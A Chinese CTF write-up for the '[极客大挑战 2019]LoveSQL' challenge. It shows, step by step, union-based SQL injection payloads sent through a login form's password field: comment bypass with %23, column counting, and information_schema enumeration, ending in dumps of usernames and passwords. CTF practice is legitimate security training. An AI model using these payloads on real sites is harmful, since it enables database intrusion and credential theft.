zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]LoveSQL 1


    账号填admin,密码填'
    根据提示确定是经典的单引号闭合。
    我先试了试1' or 1=1--+

    看样子应该是过滤了--+的注释方式。

    我再试试用#注释
    也出现了一样的情况
    看样子#也被过滤了。

    用#的url编码形式%23试试?

    成功啦,且返回了一个密码,看样子为md5加密后的密码,试了一下无法破解,但是至少发现了%23可以用来注释后面的单引号,这样一来就可以展开注入。

    先利用order by查看表输出列数
    &password=1'order by 1%23
    &password=1'order by 2%23
    &password=1'order by 3%23
    都会有返回界面。
    直到&password=1'order by 4%23出现提示Unknown column '4' in 'order clause'。得到表输出列数为3。

    构造&password=1'union select 1,2,3%23

    发现会返回第2,3个字段。

    构造&password=1'union select 1,user(),version()%23

    得知我是root用户,可以利用information_schema库(不知道这样讲对不对哈)

    &password=1'union select 1,2,database()%23

    得知当前库名为geek

    &password=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23
    查询目前库里的表名,目前看来该网站的查询并没有循环查询所以一次只能找到一行,为了没有遗漏利用group_concat()。

    得到两个表名geekuser,l0ve1ysq1

    &password=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23
    查询第一个geekuser表内的列名。得到id,username,password
    &password=1'union select 1,group_concat(username),group_concat(password) from geekuser%23
    查询username和password列

    看样子还是那个md5密码,并不是有用的信息,把目光转移到另一个l0ve1ysq1表

    &password=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23
    得到的列名也是id,username,password
    &password=1'union select 1,group_concat(username),group_concat(password) from l0ve1ysq1%23

    得到了许多账号和密码,其中最后一个账号的密码为flag!

  • 相关阅读:
    一起学Vue之表单输入绑定
    简单易懂的单元测试框架-gtest(二)
    简单易懂的单元测试框架-gtest(一)
    最常用设计模式-模板方法模式
    最常用设计模式-简单工厂模式
    最常用设计模式-单例模式
    端口复用后门
    内存取证工具-volatility、foremost
    python的exe反编译
    Linux加密known_hosts文件中的IP
  • 原文地址:https://www.cnblogs.com/cmredkulaa/p/13911718.html
Copyright © 2011-2022 走看看